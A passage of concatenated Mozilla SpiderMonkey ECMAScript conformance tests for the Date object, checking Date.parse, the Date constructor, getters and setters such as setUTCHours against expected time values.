Date.parse(x.toLocaleString()) is not required to produce the same number value as the preceding three expressions. in general the value produced by Date.parse is implementation dependent when given any string value that could not be produced in that implementation by the toString or toGMTString method. value tested in function: Date.parse( x.toLocaleString()) test_tolocale() Author: christine@netscape.com Date: 10 july 1997 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "15.9.4.2"; var TITLE = "Date.parse()"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; var TYPEOF = "object"; // for TCMS, the gTestcases array must be global. writeHeaderToLog("15.9.4.2 Date.parse()" ); // Dates around 1970 addNewTestCase( new Date(0), "new Date(0)", [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); addNewTestCase( new Date(-1), "new Date(-1)", [-1,1969,11,31,3,23,59,59,999,1969,11,31,3,15,59,59,999] ); addNewTestCase( new Date(28799999), "new Date(28799999)", [28799999,1970,0,1,4,7,59,59,999,1969,11,31,3,23,59,59,999] ); addNewTestCase( new Date(28800000), "new Date(28800000)", [28800000,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); // Dates around 2000 addNewTestCase( new Date(946684799999), "new Date(946684799999)", [946684799999,1999,11,31,5,23,59,59,999,1999,11,31,5,15,59,59,999] ); addNewTestCase( new Date(946713599999), "new Date(946713599999)", [946713599999,2000,0,1,6,7,59,59,999,1999,11,31,5,23,59,59,999] ); addNewTestCase( new Date(946684800000), "new Date(946684800000)", [946684800000,2000,0,1,6,0,0,0,0,1999,11,31,5, 16,0,0,0] ); addNewTestCase( new Date(946713600000), "new Date(946713600000)", [946713600000,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] ); // Dates around 1900 addNewTestCase( new Date(-2208988800000), "new Date(-2208988800000)", [-2208988800000,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] ); addNewTestCase( new Date(-2208988800001), "new Date(-2208988800001)", [-2208988800001,1899,11,31,0,23,59,59,999,1899,11,31,0,15,59,59,999] ); addNewTestCase( new Date(-2208960000001), "new Date(-2208960000001)", [-2208960000001,1900,0,1,1,7,59,59,0,1899,11,31,0,23,59,59,999] ); addNewTestCase( new Date(-2208960000000), "new Date(-2208960000000)", [-2208960000000,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] ); addNewTestCase( new Date(-2208959999999), "new Date(-2208959999999)", [-2208959999999,1900,0,1,1,8,0,0,1,1900,0,1,1,0,0,0,1] ); // Dates around Feb 29, 2000 var PST_FEB_29_2000 = UTC_FEB_29_2000 + 8*msPerHour; addNewTestCase( new Date(UTC_FEB_29_2000), "new Date(" + UTC_FEB_29_2000 +")", [UTC_FEB_29_2000,2000,0,1,6,0,0,0,0,1999,11,31,5,16,0,0,0] ); addNewTestCase( new Date(PST_FEB_29_2000), "new Date(" + PST_FEB_29_2000 +")", [PST_FEB_29_2000,2000,0,1,6,8.0,0,0,2000,0,1,6,0,0,0,0]); // Dates around Jan 1 2005 var PST_JAN_1_2005 = UTC_JAN_1_2005 + 8*msPerHour; addNewTestCase( new Date(UTC_JAN_1_2005), "new Date("+ UTC_JAN_1_2005 +")", [UTC_JAN_1_2005,2005,0,1,6,0,0,0,0,2004,11,31,5,16,0,0,0] ); addNewTestCase( new Date(PST_JAN_1_2005), "new Date("+ PST_JAN_1_2005 +")", [PST_JAN_1_2005,2005,0,1,6,8,0,0,0,2005,0,1,6,0,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { DateCase = DateCase; new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, "Date.parse(" + DateCase.toString() +")", Math.floor(ResultArray[TIME]/1000)*1000, Date.parse(DateCase.toString()) ); new TestCase( SECTION, "Date.parse(" + DateCase.toGMTString() +")", Math.floor(ResultArray[TIME]/1000)*1000, Date.parse(DateCase.toGMTString()) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.2.1.js0000664000175000017500000001077412106270663020172 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.2.1.js ECMA Section: 15.9.2.1 Date constructor used as a function Date( year, month, date, hours, minutes, seconds, ms ) Description: The arguments are accepted, but are completely ignored. A string is created and returned as if by the expression (new Date()).toString(). Author: christine@netscape.com Date: 28 october 1997 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "15.9.2.1"; var TITLE = "Date Constructor used as a function"; var TYPEOF = "string"; var TOLERANCE = 1000; writeHeaderToLog("15.9.2.1 The Date Constructor Called as a Function: " + "Date( year, month, date, hours, minutes, seconds, ms )" ); // allow up to 1 second difference due to possibility // the date may change by 1 second in between calls to Date var d1; var d2; // Dates around 1970 d1 = new Date(); d2 = Date.parse(Date(1970,0,1,0,0,0,0)); new TestCase(SECTION, "Date(1970,0,1,0,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1969,11,31,15,59,59,999)); new TestCase(SECTION, "Date(1969,11,31,15,59,59,999)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1969,11,31,16,0,0,0)); new TestCase(SECTION, "Date(1969,11,31,16,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1969,11,31,16,0,0,1)); new TestCase(SECTION, "Date(1969,11,31,16,0,0,1)", true, d2 - d1 <= 1000); // Dates around 2000 d1 = new Date(); d2 = Date.parse(Date(1999,11,15,59,59,999)); new TestCase(SECTION, "Date(1999,11,15,59,59,999)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1999,11,16,0,0,0,0)); new TestCase(SECTION, "Date(1999,11,16,0,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1999,11,31,23,59,59,999)); new TestCase(SECTION, "Date(1999,11,31,23,59,59,999)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2000,0,0,0,0,0,0)); new TestCase(SECTION, "Date(2000,0,1,0,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2000,0,0,0,0,0,1)); new TestCase(SECTION, "Date(2000,0,1,0,0,0,1)", true, d2 - d1 <= 1000); // Dates around 1900 d1 = new Date(); d2 = Date.parse(Date(1899,11,31,23,59,59,999)); new TestCase(SECTION, "Date(1899,11,31,23,59,59,999)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1900,0,1,0,0,0,0)); new TestCase(SECTION, "Date(1900,0,1,0,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1900,0,1,0,0,0,1)); new TestCase(SECTION, "Date(1900,0,1,0,0,0,1)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1899,11,31,16,0,0,0,0)); new TestCase(SECTION, "Date(1899,11,31,16,0,0,0,0)", true, d2 - d1 <= 1000); // Dates around feb 29, 2000 d1 = new Date(); d2 = Date.parse(Date(2000,1,29,0,0,0,0)); new TestCase(SECTION, "Date(2000,1,29,0,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2000,1,28,23,59,59,999)); new TestCase(SECTION, "Date(2000,1,28,23,59,59,999)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2000,1,27,16,0,0,0)); new TestCase(SECTION, "Date(2000,1,27,16,0,0,0)", true, d2 - d1 <= 1000); // Dates around jan 1, 2005 d1 = new Date(); d2 = Date.parse(Date(2004,11,31,23,59,59,999)); new TestCase(SECTION, "Date(2004,11,31,23,59,59,999)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2005,0,1,0,0,0,0)); new TestCase(SECTION, "Date(2005,0,1,0,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2005,0,1,0,0,0,1)); new TestCase(SECTION, "Date(2005,0,1,0,0,0,1)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2004,11,31,16,0,0,0,0)); new TestCase(SECTION, "Date(2004,11,31,16,0,0,0,0)", true, d2 - d1 <= 1000); // Dates around jan 1, 2032 d1 = new Date(); d2 = Date.parse(Date(2031,11,31,23,59,59,999)); new TestCase(SECTION, "Date(2031,11,31,23,59,59,999)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2032,0,1,0,0,0,0)); new TestCase(SECTION, "Date(2032,0,1,0,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2032,0,1,0,0,0,1)); new TestCase(SECTION, "Date(2032,0,1,0,0,0,1)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2031,11,31,16,0,0,0,0)); new TestCase(SECTION, "Date(2031,11,31,16,0,0,0,0)", true, d2 - d1 <= 1000); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.12-4.js0000664000175000017500000000215112106270663020406 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.12.js ECMA Section: 15.9.5.12 Description: Date.prototype.getDay 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return WeekDay(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1900 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDay()", WeekDay((LocalTime(d))), (new Date(d)).getDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.24-3.js0000664000175000017500000000762012106270663020416 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.24-1.js ECMA Section: 15.9.5.24 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var TITLE = "Date.prototype.setTime" var SECTION = "15.9.5.24-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)"); addTestCase( 0, -2208988800000 ); test(); function addTestCase( startms, newms ) { var DateCase = new Date( startms ); DateCase.setMilliseconds( newms ); var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date"; var UTCDate = UTCDateFromTime( Number(newms) ); var LocalDate = LocalDateFromTime( Number(newms) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.8-3.js0000664000175000017500000001227312106270663020336 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.8.js ECMA Section: 15.9.3.8 The Date Constructor new Date( value ) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial valiue of Date.prototype. The [[Class]] property of the newly constructed object is set to "Date". The [[Value]] property of the newly constructed object is set as follows: 1. Call ToPrimitive(value) 2. If Type( Result(1) ) is String, then go to step 5. 3. Let V be ToNumber( Result(1) ). 4. Set the [[Value]] property of the newly constructed object to TimeClip(V) and return. 5. Parse Result(1) as a date, in exactly the same manner as for the parse method. Let V be the time value for this date. 6. Go to step 4. Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "15.9.3.8"; var TYPEOF = "object"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var gTc= 0; var TITLE = "Date constructor: new Date( value )"; var SECTION = "15.9.3.8"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION +" " + TITLE ); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - var TZ_ADJUST = -TZ_PST * msPerHour; // Dates around 2000 addNewTestCase( new Date(TIME_2000+TZ_ADJUST), "new Date(" +(TIME_2000+TZ_ADJUST)+")", [TIME_2000+TZ_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] ); addNewTestCase( new Date(TIME_2000), "new Date(" +TIME_2000+")", [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5,16,0,0,0] ); addNewTestCase( new Date( (new Date(TIME_2000+TZ_ADJUST)).toString()), "new Date(\"" +(new Date(TIME_2000+TZ_ADJUST)).toString()+"\")", [TIME_2000+TZ_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] ); addNewTestCase( new Date((new Date(TIME_2000)).toString()), "new Date(\"" +(new Date(TIME_2000)).toString()+"\")", [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5,16,0,0,0] ); addNewTestCase( new Date( (new Date(TIME_2000+TZ_ADJUST)).toUTCString()), "new Date(\"" +(new Date(TIME_2000+TZ_ADJUST)).toUTCString()+"\")", [TIME_2000+TZ_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] ); addNewTestCase( new Date( (new Date(TIME_2000)).toUTCString()), "new Date(\"" +(new Date(TIME_2000)).toUTCString()+"\")", [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5,16,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray, 'msMode'); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.31-1.js0000664000175000017500000001653612106270663020420 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.31-1.js ECMA Section: 15.9.5.31 Date.prototype.setUTCHours(hour [, min [, sec [, ms ]]] ) Description: If min is not specified, this behaves as if min were specified with the value getUTCMinutes( ). If sec is not specified, this behaves as if sec were specified with the value getUTCSeconds ( ). If ms is not specified, this behaves as if ms were specified with the value getUTCMilliseconds( ). 1.Let t be this time value. 2.Call ToNumber(hour). 3.If min is not specified, compute MinFromTime(t); otherwise, call ToNumber(min). 4.If sec is not specified, compute SecFromTime(t); otherwise, call ToNumber(sec). 5.If ms is not specified, compute msFromTime(t); otherwise, call ToNumber(ms). 6.Compute MakeTime(Result(2), Result(3), Result(4), Result(5)). 7.Compute MakeDate(Day(t), Result(6)). 8.Set the [[Value]] property of the this value to TimeClip(Result(7)). 1.Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.31-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog(SECTION + " Date.prototype.setUTCHours(hour [, min [, sec [, ms ]]] )"); addNewTestCase( 0, 0, void 0, void 0, void 0, "TDATE = new Date(0);(TDATE).setUTCHours(0);TDATE", UTCDateFromTime(SetUTCHours(0,0,0,0)), LocalDateFromTime(SetUTCHours(0,0,0,0)) ); addNewTestCase( 28800000, 23, 59, 999, void 0, "TDATE = new Date(28800000);(TDATE).setUTCHours(23,59,999);TDATE", UTCDateFromTime(SetUTCHours(28800000,23,59,999)), LocalDateFromTime(SetUTCHours(28800000,23,59,999)) ); addNewTestCase( 28800000,999,999, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setUTCHours(999,999);TDATE", UTCDateFromTime(SetUTCHours(28800000,999,999)), LocalDateFromTime(SetUTCHours(28800000,999,999)) ); addNewTestCase( 28800000, 999, void 0, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setUTCHours(999);TDATE", UTCDateFromTime(SetUTCHours(28800000,999,0)), LocalDateFromTime(SetUTCHours(28800000,999,0)) ); addNewTestCase( 28800000, -8670, void 0, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setUTCHours(-8670);TDATE", UTCDateFromTime(SetUTCHours(28800000,-8670)), LocalDateFromTime(SetUTCHours(28800000,-8670)) ); // modify hours to remove dst ambiguity addNewTestCase( 946684800000, 1235567, void 0, void 0, void 0, "TDATE = new Date(946684800000);(TDATE).setUTCHours(1235567);TDATE", UTCDateFromTime(SetUTCHours(946684800000,1235567)), LocalDateFromTime(SetUTCHours(946684800000,1235567)) ); addNewTestCase( -2208988800000, 59, 999, void 0, void 0, "TDATE = new Date(-2208988800000);(TDATE).setUTCHours(59,999);TDATE", UTCDateFromTime(SetUTCHours(-2208988800000,59,999)), LocalDateFromTime(SetUTCHours(-2208988800000,59,999)) ); test(); function addNewTestCase( time, hours, min, sec, ms, DateString, UTCDate, LocalDate) { DateCase = new Date(time); if ( min == void 0 ) { DateCase.setUTCHours( hours ); } else { if ( sec == void 0 ) { DateCase.setUTCHours( hours, min ); } else { if ( ms == void 0 ) { DateCase.setUTCHours( hours, min, sec ); } else { DateCase.setUTCHours( hours, min, sec, ms ); } } } new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;" + DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCHours( t, hour, min, sec, ms ) { var TIME = t; var HOUR = Number(hour); var MIN = ( min == void 0) ? MinFromTime(TIME) : Number(min); var SEC = ( sec == void 0) ? SecFromTime(TIME) : Number(sec); var MS = ( ms == void 0 ) ? msFromTime(TIME) : Number(ms); var RESULT6 = MakeTime( HOUR, MIN, SEC, MS ); return ( TimeClip(MakeDate(Day(TIME), RESULT6)) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.17.js0000664000175000017500000000261012106270663020252 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.17.js ECMA Section: 15.9.5.17 Description: Date.prototype.getUTCMinutes 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return MinFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.17"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMinutes()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getUTCMinutes()", NaN, (new Date(NaN)).getUTCMinutes() ); new TestCase( SECTION, "Date.prototype.getUTCMinutes.length", 0, Date.prototype.getUTCMinutes.length ); test(); function addTestCase( t ) { for ( m = 0; m <= 60; m+=10 ) { t += msPerMinute; new TestCase( SECTION, "(new Date("+t+")).getUTCMinutes()", MinFromTime(t), (new Date(t)).getUTCMinutes() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.21-7.js0000664000175000017500000000170012106270663020410 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.21.js ECMA Section: 15.9.5.21 Description: Date.prototype.getUTCMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.21"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_JAN_1_2005 ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getUTCMilliseconds()", msFromTime(t), (new Date(t)).getUTCMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-16.js0000664000175000017500000001032612106270663020476 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, String( TIME_1900 ) ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, 